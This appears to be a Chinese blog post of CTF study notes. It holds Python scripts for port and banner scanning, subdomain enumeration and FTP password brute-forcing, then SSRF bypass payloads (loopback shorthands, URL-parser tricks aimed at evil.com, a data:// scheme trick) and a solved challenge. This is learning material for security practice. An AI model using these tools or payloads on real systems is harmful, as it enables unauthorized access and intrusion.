Background
没剩多少课程了,就和ssrf漏洞一起复习下吧
扫描banner信息
Banner软件开发商版本之类的from socket import *
import threading
def scan(host,port):
sock = socket(AF_INET,SOCK_STREAM)
try:
sock.connect((host,port))
sock.send('Hello\r\n'.encode())
result = sock.recv(1024)
print(result.decode())
except Exception as e:
print(e)
finally:
sock.close()
if __name__ == '__main__':
jobs=[]
target_host="114.55.65.251"
ports=range(45000,45999)
for target_port in ports:
t = threading.Thread(target=scan,args=(target_host,target_port))
t.start()
jobs.append(t)
for job in jobs:
job.join()
#scan('175.24.46.37',22)
这段代码的知识点还是有很多值得考究的,比如多线程的使用
子域名枚举
关于python异步的学习
import asyncio
import dns.resolver
import dns.rdatatype
from concurrent.futures import ThreadPoolExecutor
def query(resolver,task):
try:
result = resolver.query(task,'A')
return result
except dns.resolver.NXDOMAIN:
return None
except dns.resolver.NoAnswer:
return None
except dns.resolver.Timeout:
return task
except Exception as e:
print(e)
return None
async def read_dict(file,tq,target):
#await tq.put(target)
#return
with open(file,'r') as fp:
for line in fp.readlines():
await tq.put(f'{line.strip()}.{target}')
async def scan(tq:asyncio.Queue,rq:asyncio.Queue,resolver:dns.resolver.Resolver,executor):
loop = asyncio.get_event_loop()
while True:
if tq.empty():
await rq.put('end')
break
task = await tq.get()
result = await loop.run_in_executor(executor,query,resolver,task)
if result == task:
await tq.put(result)
elif result:
await rq.put(
{
"domain":task,
"result":result
})
async def parse(rq):
while True:
if rq.empty():
await asyncio.sleep(1)
continue
result = await rq.get()
if result =='end':
break
print('='*20,result['domain'],'='*20)
for answer in result['result'].response.answer:
for item in answer.items:
print(dns.rdatatype.to_text(item.rdtype),item)
if __name__ == '__main__':
target_domain = 'baidu.com'
executor = ThreadPoolExecutor()
main_resolver = dns.resolver.Resolver()
dict_file ='domain_dict.txt'
task_q,result_q = asyncio.Queue(),asyncio.Queue()
loop = asyncio.get_event_loop()
loop.run_until_complete(read_dict(dict_file,task_q,target_domain))
calls=[scan(task_q,result_q,main_resolver,executor),parse(result_q)]
loop.run_until_complete(asyncio.wait(calls))
非常值得学习,跟着学一下,等到有时间了好好钻研一下里面异步的东西
ftp信息爆破
socket连接ftp服务 然后批量验证
跟上一个小项目一样值得说的就是socket这个,在python里面用socket进行连接
我们这两个都需要两个套接字,一个是面向网络的 一个是面向有链接的
AF_INET,SOCK_STREAM
sock = socket(AF_INET,SOCK_STREAM)
sock.connect()
sock.close()
应该直接写出来
from socket import socket,AF_INET,SOCK_STREAM
from concurrent.futures import ThreadPoolExecutor,as_completed
def scan(username,password):
sock = socket(AF_INET,SOCK_STREAM)
sock.connect(('114.55.65.251',21212))
sock.send(('USER%s\r\n'%username).encode())
result = sock.recv(1024)
if('Please specify the password' in result.decode()):
sock.send(('PASS%s \r\n'%password).encode())
result = sock.recv(1024)
if'Login successful' in result.decode():
sock.close()
return password
sock.close()
return None
def readlist(file):
with open(file) as f:
return[line.strip() for line in f.readlines()]
if __name__ == '__main__':
dict_filename = 'ftp_dict.txt'
user = 'flag'
executor = ThreadPoolExecutor(max_workers=19)
tasks=[executor.submit(scan,user,pwd) for pwd in readlist(dict_filename)]
for future in as_completed(tasks):
res = future.result()
if(res):
print(res)
ssrf复习
ssrf这个点其实在ctf和现实生活中都很常见,也算是复习下这个漏洞在ctf中的利用手法和攻击手段
ssrf全称为Server-side Request Forgery,即服务端请求伪造攻击。很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
也就是说,ssrf的漏洞点在于:服务端提供了从其他服务器应用获取数据的功能,在用户可控的情况下,未对目标地址进行过滤与限制.
常见场景包括但不仅限于:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
......
在php里面函数如果应用不当很容易造成ssrf攻击
比如
file_get_contents获取url内容
fsockopen()
和curl_exec
还是把重点放在ctf里面的绕过
我们目标都是访问本地的/flag.php 或者是内网其他主机
当地址被处理的时候
还可以通过八进制来
可以通过省略达到同样的效果
1.http://0/
2.http://127.1/
3.ipv6:http://[::1]/
4.http://127.0.0.1./
然后就是对url的bypass
scheme 协议 authority 权限=主机名+端口号 ,再详细一点如 admin:admin@www.example.com:2333`(使用用户名为 admin,密码为 admin,访问 www.example.com 的 2333 端口获取资源) path 路径 query 查询 fragment 指向一个更低级别的资源
orange师傅讲过php函数在处理的时候会有差错,
@可以轻松使google.com(默认白名单)置为host,达到绕过php parse_url的效果(这里用#将@忽略了)
对于curl操作,假如使用libcurl
将第一个@后的危险网站置为执行curl的对象,达到漏洞利用。
http://evil.com;google.com。curl会将evil.com当成
hostname,而将后面的google.com当做query
在byc_404师傅的博客看到了个标配源码
1.filter_var对url进行check
2.parse_url获取url的host
3.对host进行正则匹配
4.exec执行命令
<?php
echo "Argument: ".$argv[1]."\n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google\.com$/', $r['host'])) {
// get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
http://evil.com;google.com是可以执行curl到危险网站的。但是假如在curl之前加上filter_var 我们可以用0://这样来使用
但是curl可能会执行不了,所以要加上端口强调
parse_url的作用只是将一个给定url分成上面提到的scheme,hostname,port,path几部分
所以
0://evil$google.com
执行时,bash会将后面的$google.com当做一个变量并置为空,所以exec()时仍是指向evil.com
如果使用file_get_contents
可以使用data伪协议
data://google.com/plain;base64,xxxxxxxx
说两个简单题吧,php一道,python一道
都是黑盒 python这个ban了127.0.0.1
用省略的方法
访问本地的flag.php
提交127.0.0.1/flag.php即可
最后说一个比较有意思的题目 题目来源自网鼎杯2020的玄武组 ssrfme
第一步要求格式
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
check_inner_ip函数判断其是否为合法内网ip,并使用http或gopher等协议
safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值
http://50754119-f14c-46a3-94e8-4b3b3582ebce.node3.buuoj.cn/?url=http://0.0.0.0/hint.php
get hint.php
经典主从复制打redis,这个先留一个坑,明天再去写一个关于这题的配置,以及ssrf gopher打的一些东西